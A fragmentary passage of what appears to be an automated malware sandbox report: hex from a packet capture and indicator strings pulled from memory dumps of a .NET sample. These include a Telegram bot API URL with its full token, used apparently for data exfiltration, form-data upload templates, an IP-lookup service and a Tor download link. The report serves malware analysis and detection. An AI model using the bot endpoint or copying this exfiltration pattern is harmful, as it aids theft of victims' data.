a:a5:26:1f:05:6e:da:2a:6d:c7:ea:98:54:ed:98:e4:84:0b:84:52:74:d2:90:67:59:81:e4:d4:fa:de:51:93:b5:9d:51:4a:84:75:15:88:c9:7a:d2:53:83:21:67:f8:6c:a7:f3:2d:2e:e9:59:ae:d5:f5:04:69:6e:d6:56:30:49:59:a4:71:a9:ad:67:4a:e5:39:9d:86:39:ce:1c:2a:4e:57:9e:d3:5e:e9:c4:08:46:72:34:f3:68:47:30:48:d5:08:1c:93:65:0c:9a:a4:f7:2c:6e:c2:49:9b:09:c9:d4:88:70:95:95:fb:82:e7:b6:ca:d0:ad:3a:6e:cf:d8:44:35:55:87:7c:a7:e1:a7:34:a1:29:8b:60:8e:56:05:ec:5a:9c:9a:f6:e3:5c:af:7d:5e:65:f7:ad:a5:05:bd:d6:c0:16:78:51:57:a6:7b:7f:ac:76:9c:c2:18:d8:2c:3a:10:7e:29:ea:3d:cd:9d:88:59:9f:e6:5a:c0:e6:a0:1c:a6:ea:ca:1e:27:82:c9:f9:dd:91:3a:e5:dd:dc:cf:83:4c:9d:d9:63:8d:04:6e:22:e8:63:23:3f:15:58:1f:94:46:ed:cd:43:d1:e4:ac:5d:28:66:17:2e:59:ee:4d:97:77:74:37:52:cc:42:2b:46:63:ba:f5:39:73:e7:b0:f5:40:ed:d2:66:11:d4:70:28:e5:d8:2e:ea:eb:bd:4a:32:84:d2:39:7c:96:91:97:7d:47:e1:87:6c:bd:48:74:5f:76:03:a2:6a:01:bb:6f:fe:bc:d3:a5:dd:d6:28:1a:87:bc:c9:66:d0:a8:c7:35:88:c3:76:9a:7c:d7:70:48:6b:65:f2:26:af:53:23:a3:85:65:da:73:2a:99:44:4d:0d:57:5d:b1:1d:4d:f2:c7:d1:38:ce:97:1a:15:1a:7b:7f:6e:58:2c:ba:f5:7d:85:9e:59:d4:ea:3a:54:63:d9:5a:c5:76:dc:d6:6c:a2:44:84:b8:ad:0b:37:5f:5e:b6:39:11:a8:19:ab:34:0d:e7:49:15:a6:6b:81:ad:23:c1:e3:a4:22:ec:45:06:49:d5:8e:45:d4:8e:3d:36:ba:a4:97:5d:10:21:f1:4d:8e:ed:e5:5c:56:44:b9:b1:76:c4:c8:9b:a4:8b:5a:17:97:89:6f:af:d9:67:a8:a9:25:13:de:52:5a:5d:5d:61:91:35:57:1a:d4:6e:b9:a7:e2:a2:32:e6:51:d3:9d:d3:9e:3b:66:31:49:28:97:6e:96:2c:d8:ae:78:16:a7:95:1c:89:5a:19:d6:5a:6e:a8:da:c2:4b:2b:9b:cd:8d:a1:9f:a5:7b:5f:30:fa:46:5e:65:4e:91:e5:6e:be:16:03:5e:23:93:b4:ec:78:a2:95:04:fc:72:6b:53:53:74:54:5f:21:5c:4b:09:e7:19:61:e3:38:74:ed:35:6f:38:59:1d:f7:d9:df:5d:b5:a7:ab:9e:64:ba:74:41:b8:f2:22:e4:ca:1e:cb:60:0a:96:75:56:66:ad:b0:39:a3:29:41:df:b0:03:e2:1d:32:e0:4e:a8:68:99:a1:94:86:91:b5:a5:90:8f:86:46:91:0d:48:d6:29:4e:85:50:f0:c6:8b:3d:49:b3:9e:6f:b7:06:7a:1e:cd:47:a4:5a:bb:79:56:d2:5e:66:59:42:95:d8:69:d4:09:32:22:c4:05:cb:50:ec:56:6a:d4:9d:5e:50:9b:0d:3d:4f:b7:91:a3:37:a8:c2:ef:ec:b9:41:23:a7:d3:b5:8a:cc:0f:58:06:32:92:8d:ca:91:c3:6a:32:8e:3c:7f:4c:1a:3a:5d:66:d6:ac:25:46:45:a7:13:50:b3:26:d4:da:79:b9:b9:37:29:bb:ef:7b:b6:99:15:09:c7:32:f7:7e:20:58:1b:5a:d0:b1:49:35:c1:12:32:9d:28:b4:a9:67:ec:f3:8a:a5:6a:f4:68:e5:66:f4:34:52:ac:3e:9d:5b:c9:50:f4:bb:43:8e:c5:e1:9c:37:7d:4e:15:d9:9c:b1:42:61:27:05:85:e1:b0:71:a4:c1:38:72:c2:da:48:1c:b1:d3:73:65:8b:9c:72:21:8b:85:d3:06:db:91:6d:3d:97:2e:d8:18:8c:27:2c:3f:0c:7a:bc:69:b3:88:e1:73:65:3d:ac:35:8f:65:37:7c:20:2e:cb:b8:30:a5:20:f3:97:16:ab:28:42:96:c9:c5:44:cb:75:d1:50:74:ca:b2:99:6c:a9:fb:7c:67:13:17:0b:61:22:44:a6:9f:b2:6b:ea:2d:57:3e:17:15:1e:5b:27:a4:b0:34:43:61:79:9e:db:aa:0c:e2:77:86:e2:92:f5:9b:f7:4f:39:75:19:f4:16:62:50:64:bd:b0:d0:45:c2:ab:a5:e9:fa:7b:67:56:1a:a4:f0:d5:38:5b:da:ac:52:58:0f:39:ed:22:ee:2d:76:36:5b:f3:6c:8d:e7:13:59:97:7c:6a:f8:91:aa:d7:54:e0:e7:24:b7:2c:4b:8e:58:56:c2:ab:71:1e:6d:88:ac:0e:27:4a:a2:b3:88:52:b1:b8:b1:08:39:95:0f:39:e3:c2:2f:d8:be:ce:b1:d8:e7:58:5a:c0:e2:ad:de:6b:99:26:a7:8d:4e:eb:8e:cd:d6:8c:65:e7:99:49:49:99:39:59:c7:0c:95:52:b1:44:df:19:f5:4e:1a:6c:0f:48:7c:35:6a:ea:72:5a:47:7c:94:50:51:e1:86:a2:b6:b2:65:ab:c3:f6:05:16:7b:8d:a5:95:97:67:ba:cc:62:9c:63:99:51:dd:ae:47:dd:72:14:f4:32:37:66:15:d4:a8:47:c7:6e:b7:b5:f1:53:be:69:f7:32:f2:7b:cc:10:7e:f5:9d:61:fb:c5:2b:1f:bb:f6:f2:97:df:7a:fd:90:21:7c:90:65:08:d3:c5:62:9a:c5:87:77:18:ac:86:15:1b:6f:cb:1a:95:57:aa:ae:9d:1f:bb:8e:1e:38:c9:45:a3:b3:1b:bb:8d:93:6a:b3:51:07:f3:55:95:37:d3:66:ee:9f:1f:0d:e2:b5:76:34:3d:4a:87:a1:e9:89:f9:e9:d0:3d:db:76:5b:02:b7:3f:b3:ed:a0:b5:3a:4a:e6:03:b6:e8:a4:7c:af:b6:1a:f1:7e:33:33:86:fb:d1:60:66:36:8e:8d:45:db:6d:df:12:56:0d:ad:5b:54:bd:fd:64:6a:57:7b:6d:cf:4f:13:61:70:d4:9c:85:a2:76:2b:74:06:de:bc:d3:ea:84:37:be:d1:b9:9b:9f:fb:e1:1b:7f:fd:70:19:1f:35:7f:fa:c5:2b:1f:28:ee:4e:ff:c1:87:7f:fb:27:47:9f:79:50:bb:b6:bf:59:ed:aa:d7:9d:5d:48:cc:46:24:76:0c:bf:ef:37:42:39:e9:46:9c:1f:84:6a:b4:72:33:83:45:20:5d:a4:aa:aa:4c:dc:74:15:f7:97:a5:9d:b7:a8:c1:72:d8:a0:9e:ee:83:43:fd:38:a7:73:56:c3:6d:23:a1:35:8f:0b:75:46:8b:b0:11:d2:64:13:b0:9d:22:96:35:cd:17:ac:39:ab:4d:0a:23:35:ba:fe:b8:b3:67:1b:50:33:ce:b5:46:a8:b0:b5:e2:b2:d9:95:4f:79:b6:5b:b1:dd:74:57:19:75:d6:75:72:75:6d:f3:49:37:54:b2:b1:cf:25:7b:cb:3e:d9:9a:e9:89:68:f2:d3:9d:de:a7:5d:ea:74:d8:ea:88:8a:a8:f6:b6:94:18:67:46:66:50:2f:33:44:a7:47:6a:87:46:03:db:f5:89:5d:27:1d:5f:d0:a8:6d:b7:74:7d:9c:64:a4:af:ac:f4:3c:69:06:8e:46:3c:d7:5f:f9:69:45:f5:34:6a:46:99:ba:77:d8:0a:b6:b3:76:6d:67:29:db:8d:3b:06:db:11:58:2d:9e:9c:8d:94:1d:ab:1f:3b:1d:9b:ef:d4:7a:ef:64:65:bb:a5:a3:0b:1a:cb:d5:13:cd:3a:f4:91:0e:38:b7:48:6b:b7:9f:b2:1a:4a:5f:19:a4:95:c4:b4:c3:e9:ac:de:0e:79:7f:cd:56:e8:ca:57:a4:84:e5:dc:81:59:77:ba:61:3e:90:7c:21:3b:0d:d3:32:63:35:fe:28:cc:88:18:a8:2c:63:73:69:10:d6:a6:c0:c6:70:cc:f2:6c:57:4f:69:c7:e1:2d:b6:2a:97:ac:4e:22:2c:6f:56:6a:2b:af:74:33:af:7a:a7:a2:df:f0:1d:eb:6c:d2:2d:33:57:ce:d8:76:98:75:69:ef:64:17:d6:ed:86:31:d6:52:b6:4b:ce:4f:05:4d:63:75:90:49:38:cd:75:58:6d:17:28:52:c7:13:a8:12:e4:3e:db:51:e9:a9:71:18:17:31:19:18:f9:a1:16:d0:58:6d:ef:53:56:df:9e:b2:f5:3a:26:34:e9:b3:5c:5d:63:e3:34:9f:88:cb:33:27:6d:91:48:cc:a4:53:2e:db:ea:c2:a2:c1:7a:e8:59:73:df:60:d9:a9:65:a9:11:5b:d5:f4:82:45:72:ce:12:cd:15:cd:b4:91:db:57:59:ae:51:f6:d9:b8:cf:4e:6b:a3:8c:64:6b:1e:16:49:a2:8f:a3:c4:23:25:1f:ca:74:e9:11:83:b7:7a:ad:0b:3f:57:8d:48:51:f7:71:f7:64:65:ce:4e:24:57:a5:eb:40:d1:ec:38:e5:1d:4b:f6:75:cb:d1:52:9b:24:e6:64:56:e6:43:d1:18:11:52:ce:42:56:47:b8:c5:b2:1f:28:51:a6:f3:d1:e9:50:48:f7:44:d0:36:11:0d:b7:8e:ac:3a:93:be:52:45:fb:96:6d:ba:d6:9c:72:34:77:5d:29:8b:5d:a3:f0:ea:4c:b1:32:76:9f:73:5a:38:fc:b4:9e:cc:b5:b3:30:6f:08:23:a2:56:2c:b2:ae:e3:2c:39:44:ee:80:ed:04:8b:89:bb:d8:19:bd:b2:64:9f:2d:79:84:5f:4d:d8:08:8c:dc:c3:d7:06:22:ea:09:c6:a9:37:8f:4a:42:d4:a6:91:2e:76:6c:de:59:46:e6:8f:28:9b:e3:76:6f:d9:75:e4:68:e3:bb:27:dc:88:34:b8:50:34:ce:58:cd:e9:1a:72:67:e9:28:dc:de:24:55:5f:67:19:dd:29:ab:d1:75:9a:e4:f1:bc:93:18:b2:d1:f4:32:95:ed:60:3a:37:e4:17:8d:30:af:ea:49:3a:60:3b:a3:cf:2a:e3:c4:a2:34:62:75:bf:71:d8:1d:17:ae:1c:71:7a:b7:5c:b2:fa:7d:18:a6:bb:bd:4e:33:65:42:33:89:65:8f:06:9d:1b:55:c0:8e:0f:d9:7b:ac:79:a2:ea:76:a9:38:8a:64:f9:7c:26:fa:b5:56:8f:64:ed:8c:cd:73:cf:a7:fe:dc:ee:2f:eb:c9:d8:5b:51:8e:ac:e8:5c:d9:5a:75:47:1c:b1:fa:da:77:32:4b:67:39:08:db:b9:d8:bc:4d:66:84:9a:7b:5b:66:73:43:49:06:01:31:e6:13:99:65:54:5c:b9:36:b2:84:b3:9d:4c:37:7a:3c:c7:76:27:9f:64:d1:f2:54:f0:3d:52:6b:ec:ec:a5:4a:e7:aa:67:cc:fd:8c:cd:bb:25:25:15:b1:b9:a8:17:38:c6:99:4e:d5:8d:9d:75:76:b4:4f:b5:a1:e0:fb:b1:aa:b9:21:97:58:6c:0e:ed:3c:4a:67:"; File: "PCAP") Found string "multipart/form-data; boundary=Content-Disposition: form-data; name="{0}""; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "{1}Content-Disposition: form-data; name="{0}"; filename="{1}""; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp")46:T674,Found string "api.telegram.org" (Indicator: "api.telegram.org"; File: "PCAP") file/memory contains long string with (Indicator: "api.telegram.org"; File: "PCAP") Found string "https://api.telegram.org/bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/" (Indicator: "api.telegram.org"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") file/memory contains long string with (Indicator: "api.telegram.org"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "api.telegram.org" (Indicator: "api.telegram.org"; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000001.105025.09AF0000.00000004.mdmp, 00000000-00007972.00000002.106946.03621000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.09AF2000.00000004.mdmp") Found string "api.telegram.org0" (Indicator: "api.telegram.org"; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000001.105025.09AF0000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.09AF2000.00000004.mdmp") Found string "www.api.telegram.org0" (Indicator: "api.telegram.org"; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000001.105025.09AF0000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.09AF2000.00000004.mdmp")47:T298a,Heuristic match: "ra.ws" Heuristic match: ":u.om" Heuristic match: "9p.ci" Heuristic match: "p7.mt" Heuristic match: "|n7<.sn" Pattern match: "8vuumicrosoft.commuid12a11495-8216-468c-b4ef-91a01564edd7.microsoft.com/_q1,9microsoft.comthx_guid459f7c585ccc4e1bae96039138b93fdevlscppe.microsoft.com/dq1,9visualstudio.comfedauth1d01nazvcrm1hu0nftjz5bfnfbezqafk4cxavdwtargftwutlntjhrhrrwnvnywjpwkg0rhyryun" Pattern match: "http://schemas.microsoft.com/windows/2004/02/mit/task" Heuristic match: "api.telegram.org" Pattern match: "microsoft.net/framework/v4.0.30319/" Heuristic match: "olicy.11.0.microsoft.office.in" Heuristic match: "olicy.12.0.microsoft.office.in" Heuristic match: "olicy.12.0.microsoft.office.interop.in" Heuristic match: "olicy.12.0.microsoft.office.infopath.client.in" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Pattern match: "http://www.w3.org/2000/09/xmldsig#dsa-sha1" Pattern match: "http://www.w3.org/2000/09/xmldsig#rsa-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha512" Pattern match: "http://www.w3.org/2000/09/xmldsig#sha1" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha256" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha512" Pattern match: "http://www.w3.org/2001/04/xmlenc#ripemd160" Pattern match: "http://www.w3.org/2001/04/xmlenc#des-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#tripledes-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-tripledes" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes128-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes128" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes192-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes192" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes256-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes256" Pattern match: "http://www.w3.org/tr/2001/rec-xml-c14n-20010315" Pattern match: "http://www.w3.org/tr/2001/rec-xml-c14n-20010315#withcomments" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#withcomments" Pattern match: "http://www.w3.org/2000/09/xmldsig#base64" Pattern match: "http://www.w3.org/tr/1999/rec-xpath-19991116" Pattern match: "http://www.w3.org/tr/1999/rec-xslt-19991116" Pattern match: "http://www.w3.org/2000/09/xmldsig#enveloped-signature" Pattern match: "http://www.w3.org/2002/07/decrypt#xml" Pattern match: "http://www.w3.org/2000/09/xmldsig#" Pattern match: "http://www.w3.org/2001/04/xmlenc#" Pattern match: "http://www.w3.org/2000/09/xmldsig#hmac-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-ripemd160" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha512" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://www.w3.org/xml/1998/namespace" Pattern match: "http://schemas.microsoft.com/.netconfiguration/v2.0" Pattern match: "system.web/anonymousidentification" Pattern match: "system.web/authentication" Pattern match: "system.web/authorization" Pattern match: "system.web/browsercaps" Pattern match: "system.web/clienttarget" Pattern match: "system.web/compilation" Pattern match: "system.web/customerrors" Pattern match: "system.web/deployment" Pattern match: "system.web/devicefilters" Pattern match: "system.web/fulltrustassemblies" Pattern match: "system.web/globalization" Pattern match: "system.web/healthmonitoring" Pattern match: "system.web/hostingenvironment" Pattern match: "system.web/httpcookies" Pattern match: "system.web/httphandlers" Pattern match: "system.web/httpmodules" Pattern match: "system.web/httpruntime" Pattern match: "system.web/identity" Pattern match: "system.web/machinekey" Pattern match: "system.web/membership" Pattern match: "system.web/mobilecontrols" Pattern match: "system.web/pages" Pattern match: "system.web/partialtrustvisibleassemblies" Pattern match: "system.web/processmodel" Pattern match: "system.web/profile" Pattern match: "system.web/protocols" Pattern match: "system.web/rolemanager" Pattern match: "system.web/securitypolicy" Pattern match: "system.web/sessionpagestate" Pattern match: "system.web/sessionstate" Pattern match: "system.web/sitemap" Pattern match: "system.web/trace" Pattern match: "system.web/trust" Pattern match: "system.web/urlmappings" Pattern match: "system.web/webcontrols" Pattern match: "system.web/webparts" Pattern match: "system.web/webservices" Pattern match: "system.web/xhtmlconformance" Pattern match: "system.web/caching" Pattern match: "system.web/caching/cache" Pattern match: "system.web/caching/outputcache" Pattern match: "system.web/caching/outputcachesettings" Pattern match: "system.web/caching/sqlcachedependency" Pattern match: "r.rnr/ro" Pattern match: "https://fs.microsoft.com/fs/windows/config.json" Pattern match: "https://fs.microsoft.com/fs/windows/config.json,config,0" Heuristic match: "icrosoft.powershell.co" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Heuristic match: ".wsf;.ws" Heuristic match: "on.pe" Heuristic match: "pathext=.co" Heuristic match: "plic`(.cn" Heuristic match: "cim_system.name" Heuristic match: "/.net/netclasses/httpwebrequest/connect__group$$/" Pattern match: "https://api.telegram.org/bot5409839916:aaeyuyzy0ihjqam4vxi620si4okgw8fdl2w/" Pattern match: "https://api.ipify.org%" Pattern match: "http://schemas.microsoft.com/clr/" Pattern match: "http://schemas.microsoft.com/clr/assem/" Pattern match: "http://schemas.microsoft.com/clr/ns/" Pattern match: "http://schemas.microsoft.com/clr/nsassem/" Pattern match: "api.telegram.org/bot5409839916:aaeyuyzy0ihjqam4vxi620si4okgw8fdl2w/-675581850yyyy-mm-dd" Pattern match: "www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www.theonionrouter.com/dist.torproject.org/torbrowser/" Heuristic match: "mb.bn" Pattern match: "www.api.telegram.org0" Pattern match: "www.digicert.com1" Pattern match: "http://repository.swisssign.com/0" Pattern match: "www.digicert.com1!0" Pattern match: "ww.instagram.com/justinbieber" Pattern match: "nstagram.com/justinbieber" Heuristic match: "telegram.org" Heuristic match: "ntrust.net" Pattern match: "http://www.microsoft.com0" Heuristic match: "cim_computersystem.name" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0"48:T4704,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000336.00000000.102479.033F0000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe.configfile:///c:/ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exec:/ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exec:\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmoniker.netportablesilverlightwindowsphone71windowsphone8.netframeworkversion=v4.0versionv4.00123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configc:\windows\microsoft.net\framework\v4.0.30319\c:\windows\microsoft.net\framework\v4.0.30319\path2path1c:\windows\microsoft.net\framework\v4.0.30319\configc:\windows\microsoft.net\framework\v4.0.30319\config\machine.configc:\windows\microsoft.net\framework\v4.0.30319\config\machine.configmachine.config\\.\modeaccessrightssharec:\windows\microsoft.net\framework\v4.0.30319\config\machine.config\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json06/11" - Source: "00000000-00000336.00000000.102479.07E10000.00000002.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json,config,006/11" - Source: "00000000-00000336.00000000.102479.07E10000.00000002.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryfile:http:\\?\globalroot" - Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp") Found URL "http://www.microsoft.com0rcv" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ejdp&" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcr" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: 